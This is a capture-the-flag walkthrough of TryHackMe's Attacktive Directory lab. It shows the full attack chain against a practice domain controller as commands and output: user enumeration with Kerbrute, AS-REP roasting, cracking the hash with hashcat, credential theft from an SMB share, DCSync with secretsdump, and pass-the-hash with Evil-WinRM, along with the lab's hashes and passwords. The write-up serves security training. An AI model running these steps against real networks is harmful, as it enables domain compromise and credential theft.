iTranslated by AI
TryHackMe: Attacktive Directory Walkthrough
Install Impacket.
Impacket is a Python library used to access protocol packets such as SMB. It allows for various tasks, including packet generation and manipulation, handling Kerberos authentication, and credential dumping.
Install the required Python packages for Impacket using the requirements.txt file from GitHub. Then, run the installation script.
$ git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
$ pip3 install -r /opt/impacket/requirements.txt
$ cd /opt/impacket/
$ python3 ./setup.py install
Also, install BloodHound and Neo4j. BloodHound is a tool for collecting and visualizing information in Active Directory, and Neo4j is a graph database.
$ sudo apt install bloodhound neo4j
Perform a port scan using nmap.
First, check for open ports.
$ nmap -Pn -oN nmap.txt -v 10.10.187.100
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
Conduct a detailed investigation on ports of interest.
-
-Ais an all-in-one flag that detects OS versions, service versions, and runs script scanning. It is equivalent to-O -sV -sC. - Use
-pto specify ports.
# nmap -Pn -oN nmap2.txt -v -p 88,135,139,3389 -A 10.10.187.100
Output the results to nmap_detail.txt.
Download Kerbrute to crack Kerberos authentication.
$ wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x ./kerbrute_linux_amd64
Edit the hosts file for name resolution.
Add 10.10.187.100 spookysec.local to /etc/hosts.
Download the user list and password list provided by THM.
Enumerate users as follows.
Refer to ./kerbrute_linux_amd64 userenum --help for usage instructions.
Use the Domain Controller location and full domain obtained via nmap.
$ ./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local ./userlist.txt
2025/07/23 16:16:25 > [+] VALID USERNAME: svc-admin@spookysec.local
...
2025/07/23 16:18:13 > [+] VALID USERNAME: backup@spookysec.local
...
The two users identified above are neither regular accounts nor built-in accounts.
Perform an AS-REP Roasting attack using Impacket.
In Kali Linux, a sample attack script using Impacket is located at /usr/share/doc/python3-impacket/examples/GetNPUsers.py. Copy and use this script.
Refer to the help documentation for usage.
$ ./GetNPUsers.py spookysec.local/svc-admin
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Cannot authenticate svc-admin, getting its TGT
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:27e7da8e875340d38261a37642550dd8$30327ed507c9ba2efac16e08a36a205db1ec83a8ecaa2de1f3d872f2aaab1d0821ef4f4ef4e1a09957569ca7e7e4ea1a0044d3baf413ca79322c3c1292ca6f6641857d48a60ddc84fd20e1538a187cae974378222834559ca3e911ff57f012e49ca10d80171d99372139df616ce7bf57b7f71df280b9426cf8edeccfe205a1fba769140d3053853fbd9bb28efc9786cd652906828eb4eb25491668440aed1d5a3eb01f65ce6ab825f87f4963e44133ab4e7f158392cc2b92e86a86de0c524ef6ffe9e94711725b2c4d84cc2a3849cac33078e4927d3001997846add736e06ea5db90fa439493eb76774c9de92072cedf5b8a
Successfully received an AS-REP as svc-admin.
Note that this fails for the backup account.
Analyze the received AS-REP using hashcat.
$ hashcat -h | grep Kerberos
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
28800 | Kerberos 5, etype 17, DB | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
28900 | Kerberos 5, etype 18, DB | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
To analyze AS-REP, it appears you should specify 18200.
Save the obtained value into hash.txt and then use hashcat.
Be careful not to include newline characters.
$ echo '$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:27e7da8e875340d38261a37642550dd8$30327ed507c9ba2efac16e08a36a205db1ec83a8ecaa2de1f3d872f2aaab1d0821ef4f4ef4e1a09957569ca7e7e4ea1a0044d3baf413ca79322c3c1292ca6f6641857d48a60ddc84fd20e1538a187cae974378222834559ca3e911ff57f012e49ca10d80171d99372139df616ce7bf57b7f71df280b9426cf8edeccfe205a1fba769140d3053853fbd9bb28efc9786cd652906828eb4eb25491668440aed1d5a3eb01f65ce6ab825f87f4963e44133ab4e7f158392cc2b92e86a86de0c524ef6ffe9e94711725b2c4d84cc2a3849cac33078e4927d3001997846add736e06ea5db90fa439493eb76774c9de92072cedf5b8a' > hash.txt
$ hashcat -m 18200 ./hash.txt ./passwordlist.txt
As a result of analysis by hashcat, it was found that the password for svc-admin is management2005.
SMB is running on port 445, so log in as svc-admin.
First, check the list of shared resources.
-
-Ldisplays the list of shared resources -
-Uspecifies the user
$ smbclient -L spookysec.local -U svc-admin
Password for [WORKGROUP\svc-admin]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to spookysec.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Access the backup share.
In Windows, server and directory names are written as //servername/sharename. In shells, slashes are treated as special characters, so they must be escaped, resulting in the following format:
$ smbclient \\\\spookysec.local\\backup -U svc-admin
Download what appears to be a credentials file.
smb: > get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
backup_credentials.txt consists of alphanumeric characters.
Decoding it with base64 reveals the credentials for the backup account.
$ cat backup_credentials.txt | base64 -d
backup@spookysec.local:backup2517860
The backup account in Active Directory has the authority to synchronize changes across the entire Active Directory.
Use this to perform a DCSync attack.
Use Impacket's secretsdump.py.
$ python secretsdump.py -just-dc-ntlm backup@spookysec.local -outputfile spookysec
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
[*] Cleaning up...
Since the NTLM hash for the administrator's password was obtained, perform a pass-the-hash attack.
Successfully logged in using the hash with Evil-WinRM.
$ evil-winrm -i spookysec.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Kerberos Authentication
- Pre-authentication: Performs challenge-response authentication between the client and the AS (Authentication Service).
- TGT Issuance: Upon successful authentication, the AS returns an Authentication Response (AS-REP). This includes the TGT (Ticket-Granting Ticket) and data encrypted with the password hash.
- ST Issuance using TGT: Uses the TGT to request a Service Ticket. This eliminates the need to send authentication information every time a service is accessed.
If the configuration is set to skip pre-authentication before sending AS-REP, it is possible to request an AS-REP by pretending to be the client. Analyzing this to obtain the user's password is an AS-REP Roasting attack.
In Windows, server and directory names are written as //servername/sharename. In shells, slashes are treated as special characters, so they must be escaped, resulting in the following format:
$ smbclient \\\\spookysec.local\\backup -U svc-admin
After compromising the backup account, sending the MS-DRSR protocol, which is used for data replication between domain controllers, allows synchronization (i.e., requesting the transfer) of all data from the domain controller. This attack is known as a DCSync attack. Passwords are stored as NTLM hashes in the NTDS.DIT file on the DC.
In environments where NTLM authentication is enabled, it is possible to use a password hash as authentication information to log in; this is a pass-the-hash attack. NTLM performs challenge-response authentication, and here, the response is generated from the password hash and the challenge rather than the password itself.
Evil-WinRM is a tool that accesses remote Windows using the Windows Remote Management service.
Discussion